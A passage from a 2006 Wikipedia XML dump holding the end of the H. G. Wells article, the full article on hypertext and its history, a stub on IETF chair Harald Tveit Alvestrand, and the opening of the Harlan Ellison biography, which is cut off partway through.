From quite early in his career, he sought a better way to organise society, and wrote a number of [[Utopia|Utopian]] novels.  Usually starting with the world rushing to catastrophe, until people realise a better way of living: whether by mysterious gases from a [[comet]] causing people to behave rationally (''[[In the Days of the Comet]]''), or a world council of scientists taking over, as in ''[[The Shape of Things to Come]]'' (1933), which he later adapted for the 1936 [[Alexander Korda]] film, ''[[Things to Come]]''.  This depicted, all too accurately, the impending [[World War II|World War]], with cities being destroyed by aerial bombs. He also portrayed social reconstruction through the rise of [[fascism|fascist]] dictators in ''[[The Autocracy of Mr Parham]]'' (1930) and ''[[The Holy Terror]]'' (1939).

[[Image:H. G. Wells.jpg|right|thumb|150px|H. G. Wells in [[1943]]]]

Wells contemplates the ideas of nature vs nurture and questions humanity in books like ''[[The Island of Dr. Moreau|The Island of Doctor Moreau]].'' Not all his scientific romances ended in a happy Utopia, as the [[Dystopia|dystopian]] ''[[The Sleeper Awakes|When the Sleeper Wakes]]'' (1899) (rewritten as ''[[The Sleeper Awakes]]'', 1910) shows. ''The Island of Doctor Moreau'' is even darker. The narrator, having been trapped on an island of animals vivisected (unsuccessfully) into human beings, eventually returns to England; like [[Gullivers Travels|Gulliver]] on his return from the [[Houyhnhnm]]s he finds himself unable to shake off the perceptions of his fellow humans as barely civilised beasts, slowly reverting back to their animal natures.

Wells called his political views socialist, and he was at first quite sympathetic to [[Lenin]]'s attempts at reconstructing the shattered [[Russia]]n economy, as his account of a visit (''[[Russia in the Shadows]]''; 1920) shows. This despite the fact that he was a strongly anti-Marxist socialist who would later state that it would've been better if [[Karl Marx]] was never born. The leadership of [[Joseph Stalin]] led to a change in his view of the Soviet Union even though his initial impression of Stalin was mixed. He disliked what he saw as a narrow orthodoxy and obdurance to the facts in Stalin. However he did give him some praise saying, &quot;I have never met a man more fair, candid, and honest&quot; and making it clear that he felt the &quot;sinister&quot; image of Stalin was unfair or simply false. Nevertheless his criticism of the increasing rigidity of Stalin's rule meant Wells ultimately decided that on balance the Soviet Union had gone horribly wrong.{{fn|4}}

Wells also wrote the preface for the first edition of [[W. N. P. Barbellion]]'s diaries, ''The Journal of a Disappointed Man'', published in 1919. Since Barbellion was the real author's pen-name, many reviewers believed Wells to have been the true author of the ''Journal''; Wells always denied this, despite being full of praise for the diaries, but the rumours persisted until Barbellion's death later that year.

In 1927, [[Florence Deeks]] sued Wells for plagiarism, claiming that he had stolen much of the content of ''[[The Outline of History]]'' from a work, ''The Web'', she had submitted to the Canadian Macmillan Company, but who held onto the manuscript for eight months before rejecting it. Despite numerous similarities in phrasing and factual errors, the court found Wells not guilty.

In 1938, he published a collection of essays on the future organisation of knowledge and education, titled ''[[World Brain]]'', including the essay ''The Idea of a Permanent World Encyclopaedia''.

Near the end of the Second World War Allied forces discovered that the [[Schutzstaffel|SS]] had compiled lists of intellectuals and politicians slated for immediate liquidation upon the invasion of England in the abandoned [[Operation Sea Lion]]. The name &amp;#8220;H.G. Wells&amp;#8221; appeared high on the list for the &quot;crime&quot; of being a socialist. Wells, as president of the International [[PEN]] (Poets, Essayists, Novelists), had already angered the [[Nazism|Nazis]] by overseeing the expulsion of the German PEN club from the international body in 1934 following the German PEN's refusal to admit non-[[Aryan]] writers to its membership.

In his later years, he grew increasingly pessimistic about the prospects for humanity (mostly because of the [[World War II|Second World War]]) as the title of his last book, ''[[Mind at the End of its Tether]]'' (1945) suggests. His later books are often thought to do more preaching than storytelling or lack the energy and invention of his earlier works. One critic complained: &quot;He sold his birthright for a pot of message&quot;.{{fn|5}}, though ''[[The Happy Turning]]'', a short book from 1944, contains a great deal of wit and imagination.

==Legacy==

In his lifetime and after his death, Wells was considered a prominent socialist thinker. In his book ''[[The Road to Serfdom]]'', [[Friedrich Hayek]], one of the twentieth century's most famous proponents of [[laissez-faire]] [[capitalism]], held up Wells in particular as a person who believed in &quot;the most comprehensive central planning&quot; and could &quot;at the same time, write an ardent defence of the rights of man&quot;.{{fn|6}} In later years, however, Wells' image has shifted and he is now thought of simply as one of the pioneers of science fiction; [[Newt Gingrich]], former [[Speaker of the United States House of Representatives]] and staunch [[Republican Party (United States)|Republican]], praised Wells in his book ''To Renew America'', writing &quot;Our generation is still seeking its [[Jules Verne]] or H.G. Wells to dazzle our imaginations with hope and optimism&quot;.{{fn|7}}

==Appearances in other contexts==

H. G. Wells appears as a character in the ''[[Doctor Who]]'' serial ''[[Timelash]]''.

He also appears as a character in the novel and motion picture [[Time After Time (1979 film)|''Time After Time'']], where he chases [[Jack The Ripper]] after the latter stole his time machine and escaped to 1979-era [[San Francisco]].

He also appears as a character in multiple episodes of ''[[Lois and Clark: The New Adventures of Superman]]''.

The novel ''[[The Time Ships]]'', by British author [[Stephen Baxter]], was designated by the Wells estate as an authorised sequel to ''[[The Time Machine]]'', marking the centenary of its publication, and features characters, situations and [[technobabble]] from several of Wells' stories, as well as a representation of Wells (unnamed, and referred to as 'my friend, the Author').

Arthur Sammler, the main character of [[Saul Bellow]]'s ''[[Mr. Sammler's Planet]]'' is working on a biography of H. G. Wells. Sammler is a 
[[Holocaust]] survivor and a self-made philosopher who treasures his pre-war acquaintance with Wells.

In [[C. S. Lewis]]' novel [[That Hideous Strength]], the character Jules is a caricature of Wells, and much of Lewis' science fiction is written both under the influence of Wells and as an antithesis to his work.

==Works==
A partial listing of his works:
(Entries marked with an * are available at the [[Project Gutenberg]] website.)

*''[[The Chronic Argonauts]]'' ([[1888]])
*''[[Textbook of Biology (Wells)|Textbook of Biology]]'' ([[1893]])
*''[[Honours Physiography]]'', co-written with [[R.A. Gregory]], ([[1893]])
*''[[Select Conversations with an Uncle]]'' ([[1895]])
*''[[The Time Machine]]'' ([[1895]])*
*''[[The Wonderful Visit]]'' ([[1895]])
*''[[The Stolen Bacillus and Other Incidents]]'' ([[1895]])*
*''[[The Island of Dr. Moreau]]'' ([[1896]])*
*''[[The Red Room (Wells)|The Red Room]]''  ([[1896]])*
*''[[The Wheels of Chance]]'' ([[1896]])*
*''[[The Plattner Story, and Others]]'' ([[1897]])
*''[[The Invisible Man]]'' ([[1897]])*
*''[[Certain Personal Matters]]'' ([[1897]])
*''[[The Star]]'' - short story, Graphic, Christmas ([[1897]])*
*''[[The War of the Worlds (novel)|The War of the Worlds]]'' ([[1898]])*
*''When the Sleeper Wakes'' ([[1899]]) (later revised as ''[[The Sleeper Awakes]]'', 1910)*
*''[[Love and Mr Lewisham]]'' ([[1900]])*
*''[[The First Men in the Moon]]'' ([[1901]])*
*''[[Anticipations]]'' ([[1901]])
*''[[The Discovery of the Future]]'' ([[1902]])
*''[[Mankind in the Making]]'' ([[1903]])*
*''[[Twelve Stories and a Dream]]'' ([[1903]])
*''[http://www.geocities.com/martinwguy/sceptins.txt The Scepticism of the Instrument]'' - A portion of a paper read to the Oxford Philosophical Society, November 8, ([[1903]])
*''[[The Food of the Gods and How It Came to Earth]]'' ([[1904]])*
*''[[Kipps|Kipps: The Story of a Simple Soul]]'' ([[1905]])
*''[[A Modern Utopia]]'' ([[1905]])*
*''[[In the Days of the Comet]]'' ([[1906]])*
*''[[The Future in America]]'' ([[1906]])
*''[[Faults of the Fabian]]'' ([[1906]])
*''[[Socialism and the Family]]'' ([[1906]])
*''[[Reconstruction of the Fabian Society]]'' ([[1906]])
*''[[This Misery of Boots]]'' ([[1907]]), reprinted from the Independent Review, Dec. 1905.
*''[[Will Socialism Destroy the Home?]]'' (paper, written in [[1907]])
*''[[New Worlds for Old]]'' ([[1908]])
*''[[The War in the Air]]'' ([[1908]])*
*''[[First and Last Things]]'' ([[1908]])*
*''[[Ann Veronica]]'' ([[1909]])*
*''[[Tono-Bungay]]'' ([[1909]])*
*''[[The History of Mr. Polly]]'' ([[1910]])*
*''[[The Sleeper Awakes]]'' ([[1910]])* - Revised edition of ''When the Sleeper Wakes''
*''[[The New Machiavelli]]'' ([[1911]])*
*''[[The Country of the Blind and Other Stories]]'' ([[1911]])*
*''[[The Door in the Wall and Other Stories]] ([[1911]])
*''[[Floor Games]]'' ([[1911]])*
*''[[Marriage_(HG_Wells_Novel)|Marriage]]'' ([[1912]])
*''[[Little Wars]]'' ([[1913]])*
*''[[The World Set Free]]'' ([[1914]])*
*''[[The Research Magnificent]]'' ([[1915]])*
*''[[God the Invisible King]]'' ([[1917]])*
*''[[War and the Future]]'' ([[1917]])*
*''[[The Soul of a Bishop]]'' ([[1917]])*
*''[[The Outline of History]]'' I, II [[1920]], [[1931]], [[1940]] (1949, 1956, 1961, 1971)
*''[[A Short History of the World]]'' ([[1922]])
*''[[The Secret Places of the Heart]]'' ([[1922]])*
*''[[Men Like Gods]]'' ([[1923]])
*''[[Christina Alberta's Father]]'' ([[1925]])
*''[[The World of William Clissold]]'' ([[1926]])
*''[[Meanwhile]]'' ([[1927]])
*''[[Mr Blettsworthy on Rampole Island]]'' ([[1928]])
*''[[The Open Conspiracy]]'' ([[1928]])
*''[[The Science of Life]]'' ([[1930]])
*''[[The Outline of Man's Work and Wealth]]'' ([[1931]])
*''[[The Shape of Things to Come]]'' ([[1933]])
*''[[Star-Begotten]]'' ([[1937]])
*''[[Crux Ansata (H. G. Wells)|Crux Ansata]]'' ([[1943]])

His autobiography was published in [[1934]], as ''An Experiment in Autobiography''.

==Footnotes==

*{{fnb|1}} [http://library.thinkquest.org/27864/data/wells/hgwbio.html ThinkQuest Library]. ''H.G. Wells Biography''.
*{{fnb|2}} [http://www.nyu.edu/projects/sanger/passionate_friends.htm New York University]. ''The Passionate Friends: H. G. Wells and Margaret Sanger''.
*{{fnb|3}} [http://www.kirjasto.sci.fi/hgwells.htm Pegasos - A Literature Related Resource Site]. ''H(erbert) G(eorge) Wells (1866-1946)''.
*{{fnb|4}} ''An Experiment in Autobiography'' p. 215, 687-689
*{{fnb|5}} The &quot;pot of message&quot; remark comes from a [[1948]] [[Theodore Sturgeon]] short story entitled ''Unite and Conquer'', a character in the story was quoting a &quot;Dr. Pierce&quot;.
*{{fnb|6}} Hayek, Friedrich. ''The Road to Serfdom''. Chicago: University of Chicago Press, 1944 (1994 edition). p. 94.
*{{fnb|7}} Gingrich, Newt. ''To Renew America''. New York: [[HarperCollins]], 1995. p. 189.

==Sources==
* ''The War of the Worlds'' Front Page.

==Honours==
* [[H. G. Wells (crater)|H. G. Wells crater]] on the [[Far side (Moon)|far side]] of the [[Moon]] is named for him.

==See also==
*[[H. G. Wells Society]]
*[[Science Fiction]]
*[[Invasion literature]]
*[[Fabian Society]]
*[[List of Socialists]]
*[[Cosmotheism]]
*[[Noosphere]]
*[[Omega Point]]

==External links==
{{wikiquote}}
{{Wikisource author}}
* [http://www.hgwellsusa.50megs.com/ H. G. Wells Society]
* [http://www.hgwellsusa.50megs.com/UK/wellsian.html ''The Wellsian'', the journal of the H. G. Wells Society]
* [http://jch.sagepub.com/cgi/reprint/39/1/45.pdf An Essay on the Politics of H. G. Wells and George Orwell]
* {{gutenberg author|id=H._G._Wells|name=H. G. Wells}}
*[http://onlinebooks.library.upenn.edu/webbin/book/search?author=Wells%2C+H.+G.&amp;amode=start E-texts on The Online Books Page]
*[http://library.thinkquest.org/27864/data/wells/hgwbio.html?tqskip1=1&amp;tqtime=0806 Another profile of him]
*[http://quotesandpoem.com/literature/ListofLiteraryWorks/Wells__H._G._(Herbert_George) H. G. Well’s Works and Quotes] 
*[http://www.geocities.com/originalroman/ A more detailed look at his life and work]
*[http://www.online-literature.com/wellshg/invisibleking/ eBook: ''God the Invisible King'']
* {{isfdb name|id=H._G._Wells|name=H. G. Wells}}
*[http://www.costik.com/littlewars.html Little Wars &amp; Floor Games] Introduction to the [[1995]] edition of Wells' gaming books.
*[https://www.audioville.co.uk/store/search.php?Search=hg+wells&amp;Submit=Search audioVille] Audio dramatisations and readings of a number of HG Wells stories.
*[http://www.english-literature-online.com/h-g-wells/ eBooks by H G Wells at English Literature Online including War of the Worlds]
*[http://www.war-ofthe-worlds.co.uk/ history and impact of The War Of The Worlds]
*[http://wiredforbooks.org/anthonywest/ 1984 audio interview of Anthony West, son of H. G. Wells, by Don Swaim of CBS Radio - RealAudio]
*[http://fax.libs.uga.edu/PR6045xE58xW67/ The world set free], a story of mankind, by H. G. Wells, 1914. (a searchable facsimile at the University of Georgia Libraries; [[DjVu]] &amp; [http://fax.libs.uga.edu/PR6045xE58xW67/1f/world_set_free.pdf layered PDF] format)


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  </page>
  <page>
    <title>Hypertext</title>
    <id>13460</id>
    <revision>
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      <timestamp>2006-03-01T23:57:57Z</timestamp>
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      <comment>/* Hypertext fiction */</comment>
      <text xml:space="preserve">In [[computing]], '''hypertext''' is a [[user interface]] [[paradigm]] for displaying [[document]]s which, according to an early definition (Nelson 1970), &quot;branch or perform on request.&quot; The most frequently discussed form of hypertext document contains automated [[reference|cross-reference]]s to other documents called [[hyperlink]]s.  Selecting a [[hyperlink]] causes the computer to display the linked document within a very short period of time.  

A document can be static (prepared and stored in advance) or dynamically generated (in response to user input).  Therefore, a well-constructed hypertext system can encompass, incorporate or supersede many other user interface paradigms like menus and command lines, and can be used to access both static collections of cross-referenced documents and interactive [[application software|applications]].  The documents and applications can be local or can come from anywhere with the assistance of a [[computer network]] like the [[Internet]].  The most famous implementation of hypertext is the [[World Wide Web]].

The term &quot;hypertext&quot; is often used where the term [[hypermedia]] would be more appropriate.

==History==
Foreshadowing hypertext was a simple technique used in various reference works (dictionaries, encyclopedias, etc.), consisting of setting a term in small capital letters, as an indication that an entry or article existed for that term (within the same reference work).  In addition to such manual cross-references, there were experiments with various methods for arranging layers of annotations around a document.  The most famous example is the [[Talmud]].

The point of hypertext is to deal with the problem of [[information overload]].  All of the persons mentioned below were obsessed with the realization that humanity is simply drowning in information, so that, too often, decisionmakers keep making foolish decisions and scientists inadvertently duplicate existing work (e.g., the belated rediscovery of [[Gregor Mendel]]'s work).

In the early 20th century, two visionaries attacked the cross-referencing problem through proposals based on labor-intensive brute force methods. [[Paul Otlet]] proposed a proto-hypertext concept based on his monographic principle in which all documents would be decomposed down to unique phrases stored on index cards.  In the 1930s, [[H.G. Wells]] proposed the creation of a [[World Brain]]. For reasons of cost neither proposal got very far.

Therefore, all major histories of hypertext start with [[1945]], when [[Vannevar Bush]] wrote an article in ''[[The Atlantic Monthly]]'' called &quot;[[As We May Think]],&quot; about a futuristic device he called a [[Memex]].  He described the device as mechanical desk linked to an extensive archive of microfilms and able to display books, texts or any document from the library, and further able to automatically follow references from any given page to the specific page referenced.

Most experts do not consider the Memex to be a true hypertext system.  However, the story starts with the Memex because &quot;As We May Think&quot; directly influenced and inspired the two American men generally credited with the invention of hypertext, [[Ted Nelson]] and [[Douglas Engelbart]].

Nelson coined the word &quot;hypertext&quot; in 1965 and helped [[Andries van Dam]] develop the [[Hypertext Editing System]] in 1968 at [[Brown University]]; Engelbart had begun working on his [[NLS (computer system)|NLS]] system in 1962 at [[Stanford Research Institute]], although delays in obtaining funding, personnel and equipment meant that its key features were not completed until 1968.

After funding for NLS slowed to a trickle in 1974, progress on hypertext research nearly came to a halt.  During this time, the [[ZOG (hypertext)|ZOG]] at Carnegie Mellon started as an [[artificial intelligence]] research project under the supervision of [[Allen Newell]].  Only much later would its participants realize that their system was a hypertext system.  ZOG was deployed in 1980 on the U.S.S. Carl Vinson and later commercialized as KMS.

The first hypermedia application was the [[Aspen Movie Map]] in 1977.

The early 1980s saw a number of experimental hypertext and hypermedia programs, many of whose features and terminology were later integrated into the Web.  However, none of these systems achieved widespread success or name recognition with consumers.  

Guide was the first hypertext system for personal computers, but it was not very successful.  Guide was quite expensive and difficult to use, as it had originally been developed for UNIX workstations and was subsequently ported to [[DOS]].  It was immediately eclipsed by HyperCard. 

In August 1987, [[Apple Computer]] revealed its [[HyperCard]] application for its [[Apple Macintosh|Macintosh]] line of computers at the MacWorld convention in Boston.  HyperCard was an immediate hit and helped to popularize the concept of hypertext with the general public (although as [[Jakob Nielsen]] later pointed out, it was technically a hypermedia system because its hyperlinks originated only from regions on the screen).  The first hypertext-specific academic conference also took place that year.  

Meanwhile, Nelson had been working on and advocating his Xanadu system for over two decades, and the commercial success of HyperCard stirred [[Autodesk]] to invest in his revolutionary ideas.  The project limped on for four years without ever releasing a complete product, before Autodesk pulled the plug in the midst of the 1991-1992 recession.

In late 1990, [[Tim Berners-Lee]], a scientist at [[CERN]], invented the [[World Wide Web]] to meet the demand for automatic information sharing between scientists working in different universities and institutes all over the world. Early in 1993, the [[National Center for Supercomputing Applications]] (NCSA) at the [[University of Illinois]] released a first version of their [[Mosaic browser]] to replace the two lacking existing [[web browser]]s: one that ran only on [[NeXTSTEP]] and one that was minimally [[Usability|user-friendly]]. Mosaic ran in the [[X Window System]] environment, popular in the research community, and offered usable window-based interaction. Web traffic exploded from only 500 known web servers in 1993 to over 10,000 in 1994 after the release of browser versions for both the PC and Macintosh environments.

All the earlier hypertext systems were quickly overshadowed by the success of Tim Berners-Lee's [[World Wide Web]], even though the latter lacked many features of those earlier systems such as [[typed link]]s, [[transclusion]] and [[source tracking]].

==Implementations==
Besides the already mentioned HyperCard and World Wide Web, there are other noteworthy implementations of hypertext, with different feature sets:
*[[Microsoft Word]] has evolved in orientation from paper to in-computer documents.
*[[Information Presentation Facility]] used for displaying help in the [[IBM]] operating systems.
*[[Windows Help]]
*Adobe's [[Portable Document Format]] supports links.
*[[Texinfo]], the [[GNU]] help system.
*[[Project Xanadu]]
*[[XML]] with the [[XLink]] extension.
*The many implementations of [[wiki]], like the [[MediaWiki]] system that powers [[Wikipedia]], that aim to compensate for the lack of integrated editors in most Web browsers.

==Academic Conferences==
One of the top academic conferences for new research in hypertext is the annually held [[Association for Computing Machinery|ACM]]'s Conference on Hypertext and Hypermedia ([http://www.ht04.org/ HT 2004])

Although not exclusively about hypertext, the World Wide Web series of conferences, organized by [http://www.iw3c2.org IW3C2], includes many papers of interest. There is a [http://www.iw3c2.org/conferences/ list] with links to all conferences in the series.

==Hypertext fiction==
''See main article [[Hypertext fiction]]''

The development of this branch of [[electronic literature]] coincided with the growth and proliferation of hypertext development software and the emergence of electronic networks. Two software programs specifically designed for literary hypertext, [[Storyspace]] and [[Intermedia]] became available in the 1990's. 

===Authors===
*[[Storyspace]] v2.0, a professional level hypertext development tool, is available from [[Eastgate Systems]], which has also published many notable [[hypertext fictions]], including [[Michael Joyce]]'s ''[[afternoon, a story]]'', [[Shelley Jackson]]'s ''[[Patchwork Girl (hypertext)]]'', and [[Stuart Moulthrop]]'s ''[[Victory Garden]]''.
*Other writers who have written hypertext novels are Argentinian [[Julio Cortazar]] with [[Rayuela]] and Serbian [[Milorad Pavic]] with [[Dictionary of the Khazars]].
An advantage of writing a narrative using hypertext technology is that the meaning of the story can be conveyed through a sense of spatiality and perspective that is arguably unique to digitally-networked environments. An author's creative use of nodes, the self-contained units of meaning in a hypertextual narrative, can play with the reader's orientation and add meaning to the text.

===Critics and theorists===
*[[Jay David Bolter]]
*[[Robert Coover]]
*[[J.Yellowlees Douglas]]
*[[N. Katherine Hayles]]
*[[Michael Joyce]]
*[[George Landow]]
*[[Lev Manovich]]
*[[Stuart Moulthrop]]
*[[Ted Nelson]]

== See also ==
* [[Timeline of hypertext technology]]
* [[HTML]]
* [[Hypertext Conferences]]

==References==

* {{cite book | last = Bolter | first =  Jay David | title = Writing Space: Computers, Hypertext, and the Remediation of Print | publisher = New Jersey: Lawrence Erlbaum Associates | year = 2001 | id = ISBN 0805829199 }}
* {{cite journal | last = Byers | first =  T. J. | title = Built by association | journal = PC World | year = April 1987 | volume = 5 | pages = 244-251 }}
* {{cite journal | last = Crane | first =  Gregory | title = Extending the boundaries of instruction and research | journal = T.H.E. Journal (Technological Horizons in Education) | issue = Macintosh Special Issue | year = 1988 | pages = 51-54 }}
* {{Citepaper | Author = Engelbart, Douglas C. | Title = Augmenting Human Intellect: A Conceptual Framework, AFOSR-3233 Summary Report, SRI Project No. 3579 | PublishYear = 1962 | URL = http://www.bootstrap.org/augdocs/friedewald030402/augmentinghumanintellect/ahi62index.html }}
* {{cite book | last = Heim | first =  Michael | title = Electric Language: A Philosophical Study of Word Processing | publisher = New Haven: Yale University Press | year = 1987 | id = ISBN 0300077467 }}
* {{cite book | last = Landow | first =  George | title = Hypertext 2.0 | publisher = Baltimore: The Johns Hopkins University Press | year = 1997 | id = ISBN 0801855853 }}
* {{cite journal | last = Yankelovich | first =  Nicole | coauthors =  Landow, George P., and Cody, David | title = Creating hypermedia materials for English literature students | journal = SIGCUE Outlook | volume = 20 | issue = 3 | year = 1987 | pages = All }}
* {{cite journal | last = Nelson | first =  Theodor H. | title = No More Teachers’ Dirty Looks | journal = Computer Decisions | year = September 1970 | url = http://www.newmediareader.com/excerpts.html }}
* {{Conference reference | Author = Nelson, Theodor H. | Title = A Conceptual framework for man-machine everything | Booktitle = AFIPS Conference Proceedings VOL. 42 | Year = 1973 | Pages = M22-M23 }}
* {{cite journal | last = van Dam | first =  Andries | title = Hypertext: '87 keynote address | journal = Communications of the ACM | year = July 1988 | volume = 31 | pages = 887-895 | url = http://www.cs.brown.edu/memex/HT_87_Keynote_Address.html }}

==External links==
*[http://www.cisenet.com/cisenet/writing/essays/hypernarrative.htm The Shaping of Hypertextual Narrative]
*[http://www.interaction-design.org/references/conferences/series/acm_conference_on_hypertext_and_hypermedia.html The ACM Conference on Hypertext and Hypermedia]
*[http://www.eliterature.org Electronic Literature Organization] (for more on hypertext literature)
*[http://www.ericdigests.org/pre-9212/hype.htm Hypertext: Behind the Hype]
*[http://www.mprove.de/diplom/text/2_hypertext.html mprove: Historical Overview of Hypertext]
*[http://xanadu.com/XUarchive/ccnwwt65.tif The first use of ''hypertext'' (?) - TIFF image]
*[http://www.pontomidia.com.br/ricardo/colinks/english.html Co-link, a Brazilian research project]
*[http://www.hotuploads.com Scripts Search Engine]
*[http://www-2.cs.cmu.edu/~amulet/papers/uihistory.tr.html A Brief History of Human Computer Interaction Technology]
*[http://nrg78.com the TAI/MAI/NAI Progession Overview and NRG's &quot;Laws of Good Answers&quot; presented as a Network Distributed Dense Meme Stack]

[[Category:Hypertext|*]]

[[br:Hypertext]]
[[ca:Hipertext]]
[[cs:Hypertext]]
[[da:Hypertekst]]
[[de:Hypertext]]
[[el:Υπερκείμενο]]
[[eo:Hiperteksto]]
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[[fr:Hypertexte]]
[[gl:Hipertexto]]
[[he:היפרטקסט]]
[[hu:Hipertext]]
[[ia:Hypertexto]]
[[id:Hiperteks]]
[[it:Ipertesto]]
[[ja:ハイパーテキスト]]
[[ko:하이퍼텍스트]]
[[lv:Hiperteksts]]
[[nl:Hypertext]]
[[no:Hypertekst]]
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[[ru:Гипертекст]]
[[sl:Nadbesedilo]]
[[sr:Хипертекст]]
[[sv:Hypertext]]
[[tr:Hypertext]]
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[[vi:Siêu văn bản]]
[[zh:超文本系統]]</text>
    </revision>
  </page>
  <page>
    <title>Harald Tveit Alvestrand</title>
    <id>13461</id>
    <revision>
      <id>40364276</id>
      <timestamp>2006-02-20T01:57:17Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Harald Tveit Alvestrand''' (b. [[29 June]] [[1959]]) was the chairman of the [[IETF]] from 2001 until 2005, and is an author of several [[Request for Comments|RFC]]s. He is born in [[Namsos]], [[Norway]], and has worked for [[Norsk Data]], [[UNINETT]], EDB Maxware and [[Cisco Systems, Inc.]].
He currently (2005) lives in [[Trondheim]], [[Norway]].

==External links==
*[http://www.alvestrand.no/ Alvestrand home page]
*[http://www.alvestrand.no/ietf/ Harald Alvestrand's IETF activities (by Alvestrand)]
*[http://www.uninett.no/uninytt/2002-3/sogndal-alvestrand.jpg Portrait]

{{Norway-bio-stub}}
{{compu-bio-stub}}

[[Category:Norwegian people|Alvestrand, Harald Tveit]]
[[Category:1959 births|Alvestrand, Harald Tveit]]
[[Category:Living people|Alvestrand, Harald Tveit]]</text>
    </revision>
  </page>
  <page>
    <title>Harlan Ellison</title>
    <id>13462</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42092852</id>
      <timestamp>2006-03-03T19:57:46Z</timestamp>
      <contributor>
        <username>Dismas</username>
        <id>152983</id>
      </contributor>
      <minor />
      <comment>make link direct</comment>
      <text xml:space="preserve">'''Harlan Jay Ellison''' (born [[May 27]], [[1934]], [[Cleveland, Ohio]]) is a prolific [[United States|American]] writer of [[short stories]], [[novella]]s, [[essay]]s and [[critic]]ism. His literary and [[television]] work has received many awards. He wrote for the original series of ''[[The Outer Limits]]'' and ''[[Star Trek: The Original Series|Star Trek]]'', edited the multiple award-winning short story [[anthology]] series ''[[Dangerous Visions]]'' and served as creative consultant to the [[science fiction]] [[television program|TV series]] ''[[The Twilight Zone]]'' ([[1980s]] version) and ''[[Babylon 5]]''.

A great deal of Ellison's [[career]] has been spent within the [[science fiction]] [[genre]] and community. His most famous stories have been published within that genre, and he has won multiple [[Hugo Award|Hugo]] and [[Nebula Award|Nebula]] awards. He was also very active in the [[science fiction fandom|science fiction community]] (he was a founder of the [[Cleveland Science Fiction Society]] and edited its [[fanzine]] as a teenager) and gives colorful talks at [[science fiction convention]]s. 

Ellison's fantasy work, however, is usually better aligned with [[surrealism|surrealism]] or [[magical realism]] than [[space opera]]-type science fiction. There is also a strong ethical current that runs through his work, half of which is nonfiction, which includes social activism and criticism of the arts. 

He is fiercely protective of his work and has sought (and won) legal action against [[copyright infringement]]s.

__TOC__
== Biography ==
Ellison was born in [[Cleveland, Ohio]], [[United States]], on [[May 27]], [[1934]]. His Jewish-American family subsequently moved to [[Painesville, Ohio]], but returned to Cleveland in 1949 following the death of Ellison's father. Ellison frequently ran away from home, taking odd jobs &amp;mdash; including by the time he was eighteen, by his own account, &quot;a tuna fisherman off the coast of Galveston, itinerant crop-picker down in New Orleans, hired gun for a wealthy neurotic, dynamite truck driver in North Carolina, short order cook, cab driver, lithographer, book salesman, floorwalker in a department store, door-to-door brush salesman, and spent ten years as an actor (off and on) with the [[Cleveland Play House]]&quot;. 

Ellison briefly attended [[Ohio State University]] before dropping out. In [[1955]], Ellison moved to [[New York City]] to pursue a writing career, primarily in science fiction. Over the next two years, Ellison published more than 100 short stories and articles. 

In 1957, Ellison decided to write about youth [[gang]]s. To research the issue, he joined a street gang in the [[Red Hook, Brooklyn]] area, under the name &quot;Cheech Beldone&quot;. His subsequent writings on the subject include the [[novel]] ''Web of the City/Rumble'' and the collection ''The Deadly Streets'', and comprise part of his [[memoir]] ''Memos from Purgatory''.

Ellison was drafted into the [[United States Army|army]] and served from 1957 to 1959. Afterwards, living in [[Chicago, Illinois]], Ellison edited ''Rogue'' magazine. As a book editor at Regency Books, Ellison published novels and anthologies by such writers as [[B. Traven]], [[Kurt Vonnegut]], [[Robert Bloch]] and [[Philip José Farmer]].

Also, early in his career, in the late '50s, he wrote a number of soft porn stories, such as &quot;God Bless the Ugly Virgin&quot;: and &quot;Tramp&quot;, later reprinted in Los Angeles based girlie journals. This was the beginning of his use of the Cordwainer Bird pseudonym. This name was later used in July and August of 1957, in two journals each of which had accepted two of his stories. In each journal, one story was published with author Harlan Ellison, the other with author Cordwainer Bird. Later, as discussed in the [[#Controversy|Controversy]] section below, the pseudonym was used on material by him with which the editing of or use of he disagreed. 

He moved to [[California]] in [[1962]], and subsequently began to sell scripts to such television shows as ''[[Burke's Law]]'', ''[[Route 66 (TV series)|Route 66]]'', ''[[The Outer Limits]]'', ''[[Star Trek]]'' and ''[[Cimarron Strip]]''. His ''Memos from Purgatory'' was adapted into an episode of ''[[Alfred Hitchcock Presents]]''. Ellison's scripts &quot;[[Demon with a Glass Hand]]&quot; (for ''The Outer Limits'') and &quot;[[The City on the Edge of Forever]]&quot; (for ''Star Trek'') won Best Original Teleplay awards from the [[Writers Guild of America]]; both are often cited as one of the best of their respective series. 

During the late [[1960s]], Ellison wrote a column about television for the ''[[Los Angeles Free Press]]''. Titled &quot;The Glass Teat&quot;, the column addressed political and social issues and their portrayal on television at the time. The columns have been reprinted in two collections, ''[[The Glass Teat]]'' and ''The Other Glass Teat''.

He continued to publish short pieces, fiction and nonfiction, in various publications, and some of his most famous stories were written in this period. &quot;'Repent, Harlequin!' said the Ticktockman&quot; is a celebration of [[civil disobedience]] against repressive authority. &quot;[[I Have No Mouth, and I Must Scream]]&quot; is an allegory of [[Hell]], where five humans are tormented by an all-knowing computer throughout eternity. &quot;A Boy and his Dog&quot; examines the nature of friendship and love in a violent, [[Apocalyptic and post-apocalyptic science fiction|post-Apocalypse]] world. It was made into the film ''[[A Boy and His Dog]]'' in 1975 starring [[Don Johnson]].

He has won the [[Hugo Award]] eight and a half times; the [[Nebula Award]] three times; the [[Bram Stoker Award]], presented by the Horror Writers Association, five times (including the Lifetime Achievement Award in 1996); the [[Edgar Award]] of the [[Mystery Writers of America]] twice; the [[Georges Méliès]] fantasy film award twice; and was awarded the Silver Pen for Journalism by [[International PEN]], the international writers' union. He was presented with the first Living Legend Award by the International Horror Guild at the 1995 World Horror Convention. He is also the only author in Hollywood ever to win the Writers' Guild of America Award for Most Outstanding Teleplay (solo work) four times, most recently for &quot;Paladin of the Lost Hour&quot; in 1987. In March 1998, the National Women's Committee of [[Brandeis University]] honored him with their 1998 Words, Wit, Wisdom award. In 1990, Ellison was honored by International PEN for continuing commitment to artistic freedom and the battle against censorship.

A rather famous and popular film can also be credited to Ellison, though he had to go to court to get the credit. Some aspects of the story for ''[[The Terminator]]'' were sufficiently similar to two episodes of the TV series ''The Outer Limits'' — both written by Ellison — that Ellison sued [[James Cameron]]. Ellison settled for several hundred thousand dollars, and the film's end credits now include the simple statement: &quot;Acknowledgement to the works of Harlan Ellison.&quot; The episodes in question were called &quot;Soldier&quot; and &quot;[[Demon with a Glass Hand]]&quot;. 

